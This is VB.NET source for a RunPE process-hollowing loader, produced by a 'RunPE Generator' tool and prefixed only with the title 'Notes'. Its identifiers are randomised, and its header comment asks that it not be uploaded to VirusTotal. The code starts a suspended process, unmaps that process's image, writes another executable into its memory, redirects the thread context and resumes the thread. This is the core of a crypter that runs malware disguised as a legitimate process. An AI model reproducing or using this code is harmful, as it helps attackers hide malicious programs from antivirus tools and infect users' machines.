Notes

-----------------------------------------------------------------------------------------
' Function to Call RunPE is : HbjtFYuWgAnkjlwnn
' This RunPE was created by RunPE Generator v1.7 for VB.NET by SP7 at 14.04.2010 14:01:27
' Please don't upload this code to VirusTotal or another site like that bullshit...
' Thanks to: HorstEwald, ShockerZz and t0fx
'-----------------------------------------------------------------------------------------

Imports System.Runtime.InteropServices
Imports System.ComponentModel

Public Class fIqZtPtsQaRmDdYXD
Public Const bgsvSSHZGmlvSSdob As Long = &H200
Public Const upLJRbtenfVSAewae As Long = &H40
Public Const qQNfneHLdqpbPTErE As Long = &H80
Public Const MZernntQMkavtgYeH As Long = &H20
Public Const HAfPLpHtCvuHMVduf As Long = &H10
Public Const bJwbLBuBjoebqiwhi As Long = &H8
Public Const WhBAhEIfZCBkIXEBJ As Long = &H1
Public Const prRLgNukJtiHnjXkM As Long = &H4
Public Const lRThFQIRwHGQFYcEj As UInt32 = &H2
Shared Sub HbjtFYuWgAnkjlwnn(ByVal DClRabIDWMKtBaEHN() As Byte, ByVal WLFdakvIGFrQgmXqQ As String)
Dim SjHCwnJmsQPZvbcKo = New lsXNvwvrcKwsdovur.hTZjUBJXSVTEsdDNS, DcpvUKvdCODYZpXAV As lsXNvwvrcKwsdovur.wDrTpNJJpZYhoecRs, SNLfpWwOZTIEWrvDv = New lsXNvwvrcKwsdovur.NkMEOZKsPecNlgDUW, hudPNiwAwXMhSsWGZ = New lsXNvwvrcKwsdovur.cVfljkKeljhqihbXA, vevAjtwjVcRNPuvJD = New lsXNvwvrcKwsdovur.rFAVHwLQLnlWejCaa, NORhHIAVshVqMwWMd = New lsXNvwvrcKwsdovur.rFAVHwLQLnlWejCaa
Dim JmSGdLLBisqCblbdE = GCHandle.Alloc(DClRabIDWMKtBaEHN, GCHandleType.Pinned)
Dim cvjRcTAHSlaWIAuQH As Integer = JmSGdLLBisqCblbdE.AddrOfPinnedObject.ToInt32
Dim YWlnBWLkIwufYmChf As New lsXNvwvrcKwsdovur.rgECBfAppqeCFCWTi
YWlnBWLkIwufYmChf = Marshal.PtrToStructure(JmSGdLLBisqCblbdE.AddrOfPinnedObject, YWlnBWLkIwufYmChf.GetType)
JmSGdLLBisqCblbdE.Free()
If lsXNvwvrcKwsdovur.CreateProcess(Nothing, WLFdakvIGFrQgmXqQ, vevAjtwjVcRNPuvJD, NORhHIAVshVqMwWMd, False, 4, Nothing, Nothing, hudPNiwAwXMhSsWGZ, SNLfpWwOZTIEWrvDv) = 0 Then Return
Dim nGGXXiMWfECLUoakI As New lsXNvwvrcKwsdovur.JQWjWrBbOujeCDuWM
nGGXXiMWfECLUoakI = Marshal.PtrToStructure(New IntPtr(cvjRcTAHSlaWIAuQH + YWlnBWLkIwufYmChf.FnYIstMIEJGnRpCnj), nGGXXiMWfECLUoakI.GetType)
Dim FnYIstMIEJGnRpCnj, YApTrFBNlCnKvFVZm As Long, TYrpQIMrbNKTNraqN As UInteger
hudPNiwAwXMhSsWGZ.nhKEQRBwLHsnsGucQ = Len(hudPNiwAwXMhSsWGZ)
SjHCwnJmsQPZvbcKo.iIMamUNdBSPwKsBto = 65538
If nGGXXiMWfECLUoakI.ERclldCiiLwTpIVgr <> 17744 Or YWlnBWLkIwufYmChf.ApeKKfNOYWTcHuaAR <> 23117 Then Return
If lsXNvwvrcKwsdovur.GetThreadContext(SNLfpWwOZTIEWrvDv.TBvVKoCUHQEwlKtjU, SjHCwnJmsQPZvbcKo) And lsXNvwvrcKwsdovur.ReadProcessMemory(SNLfpWwOZTIEWrvDv.PZwrfrNAubYIDwBDs, SjHCwnJmsQPZvbcKo.ijQGfDCFeUIciLVmv + 8, FnYIstMIEJGnRpCnj, 4, 0) >= 0 And lsXNvwvrcKwsdovur.ZwUnmapViewOfSection(SNLfpWwOZTIEWrvDv.PZwrfrNAubYIDwBDs, FnYIstMIEJGnRpCnj) >= 0 Then
Dim eJScEGOjUgclAAZGW As UInt32 = lsXNvwvrcKwsdovur.VirtualAllocEx(SNLfpWwOZTIEWrvDv.PZwrfrNAubYIDwBDs, nGGXXiMWfECLUoakI.ATinDODoEZNIeNtpZ.trkMZROVrkhRuCBJw, nGGXXiMWfECLUoakI.ATinDODoEZNIeNtpZ.PDEXZaDabeRlbOUsC, 12288, 4)
If eJScEGOjUgclAAZGW <> 0 Then
lsXNvwvrcKwsdovur.WriteProcessMemory(SNLfpWwOZTIEWrvDv.PZwrfrNAubYIDwBDs, eJScEGOjUgclAAZGW, DClRabIDWMKtBaEHN, nGGXXiMWfECLUoakI.ATinDODoEZNIeNtpZ.LbFtudOHRpluqDZMa, TYrpQIMrbNKTNraqN)
YApTrFBNlCnKvFVZm = YWlnBWLkIwufYmChf.FnYIstMIEJGnRpCnj + 248
For ekWIumEMBiWQYQtwd As Integer = 0 To nGGXXiMWfECLUoakI.ZLYeToPpntqZnFAPE.tUopSAEvXnatURUCH - 1
DcpvUKvdCODYZpXAV = Marshal.PtrToStructure(New IntPtr(cvjRcTAHSlaWIAuQH + YApTrFBNlCnKvFVZm + ekWIumEMBiWQYQtwd * 40), DcpvUKvdCODYZpXAV.GetType)
Dim osqOoDPbNBuFkGZTe(DcpvUKvdCODYZpXAV.cnSuCLMitmUARjFFU) As Byte
For vwjIBUCndgEUvvZoX As Integer = 0 To DcpvUKvdCODYZpXAV.cnSuCLMitmUARjFFU - 1 : osqOoDPbNBuFkGZTe(vwjIBUCndgEUvvZoX) = DClRabIDWMKtBaEHN(DcpvUKvdCODYZpXAV.rXleXXNUTrZdOkdIv + vwjIBUCndgEUvvZoX) : Next
lsXNvwvrcKwsdovur.WriteProcessMemory(SNLfpWwOZTIEWrvDv.PZwrfrNAubYIDwBDs, eJScEGOjUgclAAZGW + DcpvUKvdCODYZpXAV.FnYIstMIEJGnRpCnj, osqOoDPbNBuFkGZTe, DcpvUKvdCODYZpXAV.cnSuCLMitmUARjFFU, TYrpQIMrbNKTNraqN)
lsXNvwvrcKwsdovur.VirtualProtectEx(SNLfpWwOZTIEWrvDv.PZwrfrNAubYIDwBDs, eJScEGOjUgclAAZGW + DcpvUKvdCODYZpXAV.FnYIstMIEJGnRpCnj, DcpvUKvdCODYZpXAV.NgEpXgCZDkJAsAArB.cnSuCLMitmUARjFFU, JHGOsiNFqwdJKmFLY(DcpvUKvdCODYZpXAV.iIMamUNdBSPwKsBto), FnYIstMIEJGnRpCnj)
Next ekWIumEMBiWQYQtwd
Dim cQXasrCKZpNdpBYuc = BitConverter.GetBytes(eJScEGOjUgclAAZGW)
lsXNvwvrcKwsdovur.WriteProcessMemory(SNLfpWwOZTIEWrvDv.PZwrfrNAubYIDwBDs, SjHCwnJmsQPZvbcKo.ijQGfDCFeUIciLVmv + 8, cQXasrCKZpNdpBYuc, 4, TYrpQIMrbNKTNraqN)
SjHCwnJmsQPZvbcKo.YoYwRuOoPDhmHndOC = eJScEGOjUgclAAZGW + nGGXXiMWfECLUoakI.ATinDODoEZNIeNtpZ.FnYIstMIEJGnRpCnj
lsXNvwvrcKwsdovur.SetThreadContext(SNLfpWwOZTIEWrvDv.TBvVKoCUHQEwlKtjU, SjHCwnJmsQPZvbcKo)
lsXNvwvrcKwsdovur.ResumeThread(SNLfpWwOZTIEWrvDv.TBvVKoCUHQEwlKtjU)
End If
End If
End Sub
Private Shared Function rBpKQGDtwuSJlDAAF(ByVal JiKrmRDfWBWmiFYEg As Long, ByVal mYrgmJOamImSEpERd As Long) As Long
rBpKQGDtwuSJlDAAF = EJMQKUOMMMqvArdVH(JiKrmRDfWBWmiFYEg) / (2 ^ mYrgmJOamImSEpERd)
End Function
Private Shared Function EJMQKUOMMMqvArdVH(ByVal XSdcKdDRtGbRfGwHK As Long) As Double
Const TqeBggPvjRvbusEYh = 4294967296.0#
If XSdcKdDRtGbRfGwHK < 0 Then
EJMQKUOMMMqvArdVH = XSdcKdDRtGbRfGwHK + TqeBggPvjRvbusEYh
Else
EJMQKUOMMMqvArdVH = XSdcKdDRtGbRfGwHK
End If
End Function
Private Shared Function JHGOsiNFqwdJKmFLY(ByVal mCvMfpEDSKfubIYKk As Long) As Long
Dim iaAiErPgIWCGqucbL() As Object = {WhBAhEIfZCBkIXEBJ, HAfPLpHtCvuHMVduf, lRThFQIRwHGQFYcEj, MZernntQMkavtgYeH, prRLgNukJtiHnjXkM, upLJRbtenfVSAewae, prRLgNukJtiHnjXkM, prRLgNukJtiHnjXkM}
JHGOsiNFqwdJKmFLY = iaAiErPgIWCGqucbL(rBpKQGDtwuSJlDAAF(mCvMfpEDSKfubIYKk, 29))
End Function
<EditorBrowsable(1)> Friend Class lsXNvwvrcKwsdovur
<StructLayout(0)> Structure hTZjUBJXSVTEsdDNS
Dim iIMamUNdBSPwKsBto, EjQtEDEmpPkaYJwNO, AKSSZGPSfaHjnvEem, TUieZPEXPUoGVLXQp, PrkDvSQEFfLPkAchP, iEEOubFJmYtjRMwUS, ecGkTdQncjQsgBDkq As UInt32, AlWvTmFsMdAPOOXXt As AlWvTmFsMdAPOOXXt
Dim kfweduDBrRXKsqDJj, gGADCAOfhcrTKfIaJ, CQRPCJDkRWbnpsbMM, vnTkXMORHhwwHhgdk, RAjwXUDWoagSmuDPn, NYlVtXODemDcEjIgO, ijQGfDCFeUIciLVmv, ghEgsgEIOfkvivbSR, cIGFRjPmEqHHAkgjo, YoYwRuOoPDhmHndOC, vRXRRsErkjpbfACVs, rpZnmuPXavMkumHmS, NBpBmGEdKotHbBbZV, IZrXLJQJACQQrngqt, bjKiKSFOhtBkYDCcw, XJMHgVQsXHVtnpHtX As UInt32
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=512)> Dim qTdTgeFAHAFQVEafa As Byte()
End Structure
<StructLayout(0)> Structure AlWvTmFsMdAPOOXXt
Dim mqepEgQeuMZZkqfwA, IDvDEpFjdFKtRGCiD, EbAZasRQTQeFhsHCb, XkQkZEGVDJOZOHale, TLSJvHRCqViidtfFF, mUjVvPGHaOTELJBpI, iskrUSRkQZnOavGIf As UInteger
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=80)> Dim EEEFTbGpATXhHLasi As Byte()
Dim wcGbpeSWnerqWAfMJ As UInt32
End Structure
Structure NgEpXgCZDkJAsAArB
Dim FnYIstMIEJGnRpCnj, cnSuCLMitmUARjFFU As UInt32
End Structure
Structure wDrTpNJJpZYhoecRs
Dim TmWmonHbXXbNEMBvM As Byte, NgEpXgCZDkJAsAArB As NgEpXgCZDkJAsAArB, FnYIstMIEJGnRpCnj, cnSuCLMitmUARjFFU, rXleXXNUTrZdOkdIv, OMYLNpSIMjwWTBGPk, hWoXNBHNtcgqBOZBn, duqtjESrjnDCQDeSN, wGKHiNHwTgkWuPBER, iIMamUNdBSPwKsBto As UInt32
End Structure
Structure NkMEOZKsPecNlgDUW
Dim PZwrfrNAubYIDwBDs, TBvVKoCUHQEwlKtjU As IntPtr, seMdHQTdJsIfMEGVo, OncoHZIiqlpCrRZIr As Integer
End Structure
<StructLayout(0, CharSet:=3)> Structure cVfljkKeljhqihbXA
Dim nhKEQRBwLHsnsGucQ As Integer, KOeNcbTOgwMLJGeYS, dXuZckIUQqtfnSALV, qgISMmcCFwGPGXPbf As String, MqZdLvRHlpnjkkiOi, vwjIBUCndgEUvvZoX, IQaChBckbELsCZneJ, barOhKRpLusPhlKRM, XBtkFMcWBIPYwaPik, qKMvFVSbiCwrdniUn, miOUbYdIYNUEtcnlN, iIMamUNdBSPwKsBto As Integer
Dim IrffahSNIGEXapJXQ, ESgEwkdrvSYgpeOoo As Short, XbAQwsSweLIDXqiar, TCCmUvddUWdMmfnrS, mMSAUHTiEPNgTsJeV, hjUWqKeOrbhpihOus As Integer
End Structure
<StructLayout(0)> Structure rFAVHwLQLnlWejCaa
Dim EtlhpTTUbURMQthhv As Integer, wUmGOVeARfmVfimBW As IntPtr, SdGSOeTFBZWpNvJkZ As Integer
End Structure
<StructLayout(0)> Structure rgECBfAppqeCFCWTi
Dim ApeKKfNOYWTcHuaAR, OEIojhejokqBckOEA, hNYCjqUoXdaVJwhnD, dlaYItfVNpveYlmHa, cnSuCLMitmUARjFFU, wuqjHFUauifBGBIqd, sVsIdHfHktCKVnNKE, XJMHgVQsXHVtnpHtX, OfMUdQUMUmjdCChtH, KFNqBTfqKBGnSpmNf, dPeEBcVvrroJwEIAi, ZmgaXfgbhFLSOqNRJ, swwlWnVgRwsmtGgDM, nXBKsqgNGKPvLslUj As UInt16
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=4)> Dim KOeNcbTOgwMLJGeYS As UInt16()
Dim KgSWsCVSnDASpHIGm, FHTsRFgwdPUbItNXN As UInt16
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=10)> Dim ESgEwkdrvSYgpeOoo As UInt16()
Dim FnYIstMIEJGnRpCnj As Int32
End Structure
Structure JQWjWrBbOujeCDuWM
Dim ERclldCiiLwTpIVgr As UInt32, ZLYeToPpntqZnFAPE As YQkGQOWENIEvmJgJQ, ATinDODoEZNIeNtpZ As UomcmQhiDTYHEvlao
End Structure
<StructLayout(0)> Structure YQkGQOWENIEvmJgJQ
Dim nAFnlZWnkMJbjKHMr, tUopSAEvXnatURUCH As UInt16, jYHMKchUaYdkBwMdR, swwlWnVgRwsmtGgDM, FiYYKlWZKRNHfMgQU As UInt32, cnSuCLMitmUARjFFU, iIMamUNdBSPwKsBto As UInt16
End Structure
<StructLayout(0)> Structure UomcmQhiDTYHEvlao
Public ApeKKfNOYWTcHuaAR As UInt16, BIZugoiFAchQuBlhs, USqIfAXLgWSkcNHTv As Byte, QqseECioWhmtrCMkW, jCLpELXtGaWPZPfWZ, faNOZOiatmqZoEknw, FnYIstMIEJGnRpCnj, BjdaZXXfdfasVRHZC, DClRabIDWMKtBaEHN, trkMZROVrkhRuCBJw As UInt32, tKfwvajMTqvEkGMqa, QTwKuiYRDjfYSSfcd As UInt32
Public LrBgTljvqvChhHktE, eERrTuYDZojEOUGgH, abTQoAjhPCHNeJLwf, tljcoJYmwtohLVfji, pMlBNLkSmHLqaKjDI, LVFMMUZXWAsNIXGmL As UInt16, HtGiiXkEMMQWXMLGj, PDEXZaDabeRlbOUsC, LbFtudOHRpluqDZMa, KFNqBTfqKBGnSpmNf As UInt32, aFXtigZJtFAqEYepm, iIMamUNdBSPwKsBto As UInt16
Public WdZSGjknjQUCUNjJN, pmpeGsZsSJEWBaGsQ, lNrDculZIVZfQPKMn, HXLObGaepOJBvcewq, CuMkAJlLfZdLNRjPR, WHdvASaQPTNerdFCU As UInt32
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=16)> Public RffUVVltFeinJSKTs As RffUVVltFeinJSKTs()
End Structure
<StructLayout(0)> Structure RffUVVltFeinJSKTs
Dim FnYIstMIEJGnRpCnj, cnSuCLMitmUARjFFU As UInt32
End Structure
Declare Auto Function CreateProcess Lib "kernel32" (ByVal name As String, ByVal command As String, ByRef process As rFAVHwLQLnlWejCaa, ByRef thread As rFAVHwLQLnlWejCaa, ByVal inherit As Boolean, ByVal flags As UInt32, ByVal system As IntPtr, ByVal current As String, <[In]()> ByRef startup As cVfljkKeljhqihbXA, <Out()> ByRef info As NkMEOZKsPecNlgDUW) As Boolean
Declare Auto Function WriteProcessMemory Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal buffer As Byte(), ByVal size As IntPtr, <Out()> ByRef written As Integer) As Boolean
Declare Auto Function ReadProcessMemory Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByRef buffer As IntPtr, ByVal size As IntPtr, ByRef read As Integer) As Integer
Declare Auto Function VirtualProtectEx Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal size As UIntPtr, ByVal [new] As UIntPtr, <Out()> ByVal old As UInt32) As Integer
Declare Auto Function VirtualAllocEx Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal size As UInt32, ByVal type As UInt32, ByVal protect As UInt32) As IntPtr
Declare Auto Function ZwUnmapViewOfSection Lib "ntdll" (ByVal process As IntPtr, ByVal address As IntPtr) As Long
Declare Auto Function ResumeThread Lib "kernel32" (ByVal thread As IntPtr) As UInt32
Declare Auto Function GetThreadContext Lib "kernel32" (ByVal thread As IntPtr, ByRef context As hTZjUBJXSVTEsdDNS) As Boolean
Declare Auto Function SetThreadContext Lib "kernel32" (ByVal thread As IntPtr, ByRef context As hTZjUBJXSVTEsdDNS) As Boolean
End Class
End Class